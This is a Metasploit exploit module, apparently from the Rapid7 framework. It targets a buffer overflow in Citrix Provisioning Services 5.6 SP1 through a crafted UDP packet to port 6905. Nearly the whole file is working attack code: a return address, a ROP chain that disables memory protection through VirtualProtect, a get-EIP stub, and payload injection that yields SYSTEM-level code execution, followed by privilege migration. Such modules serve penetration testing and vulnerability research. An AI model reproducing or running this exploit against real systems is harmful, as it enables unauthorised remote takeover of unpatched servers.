##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020004 Buffer Overflow',
      'Description'    => %q{
          This module exploits a remote buffer overflow in the Citrix Provisioning Services
        5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
        0x40020004 (GetBootRecordRequest) to the 6905/UDP port. The module, which allows
        code execution under the context of SYSTEM, has been successfully tested on Windows Server
        2003 SP2 and Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
          'juan vazquez'  # Metasploit module
        ],
      'References'     =>
        [
          ['OSVDB', '75780'],
          ['BID', '49803'],
          ['URL', 'http://support.citrix.com/article/CTX130846']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'BadChars' => "\x00",
          'EncoderOptions' => {'BufferRegister'=>'ECX'},
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'Citrix Provisioning Services 5.6 SP1',
            {
              'Offset' => 2012,
              'Ret'    => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2011-11-04',  #CTX130846 creation date
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(6905)])
  end

  def exploit

    packet =  "\x04\x00\x02\x40" # DATA MSG
    packet << rand_text_alpha_upper(18)
    packet << "\x00\x00\x00\x00" # Length
    packet << rand_text_alpha_upper(target['Offset'])
    packet << [target.ret].pack('V')

    rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe

    rop_gadgets =
    [
      0x0045b141, # POP EAX; RETN streamprocess.exe
      0x1009a1bc, # VirtualProtect()
      0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
      0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
      0x004ad0cf, # POP EBP; RETN streamprocess.exe
      0x00455d9d, # PUSH ESP; RETN streamprocess.exe
      0x00497f5a, # POP EAX; RETN streamprocess.exe
      0xfffff9d0, # dwSize
      0x00447669, # NEG EAX; RETN streamprocess.exe
      0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
      0x00426305, # POP ECX; RETN streamprocess.exe
      0x00671fb9, # lpflOldProtect
      0x004e41e6, # POP EDI; RETN streamprocess.exe
      0x0040f004, # RETN streamprocess.exe
      0x00495c05, # POP EAX; RETN streamprocess.exe
      0xffffffc0, # flNewProtect
      0x0042c79a, # NEG EAX; RETN streamprocess.exe
      0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
      0x0045c1fa, # POP EAX; RETN streamprocess.exe
      0x90909090, # NOP
      0x00435bbe, # PUSHAD; RETN streamprocess.exe
    ].pack("V*")

    packet[386, rop_nop.length] = rop_nop
    packet[538, rop_gadgets.length] = rop_gadgets
    # Put payload address in ecx
    geteip = "\xeb\x03" # jmp short 0x5
    geteip << "\x59" # pop ecx
    geteip << "\xff\xd1" # call ecx
    geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
    packet[622, 10] = geteip
    packet[632, payload.encoded.length] = payload.encoded

    print_status("Trying target #{target.name}...")

    connect_udp
    udp_sock.put(packet)

    handler
    disconnect_udp

  end
end
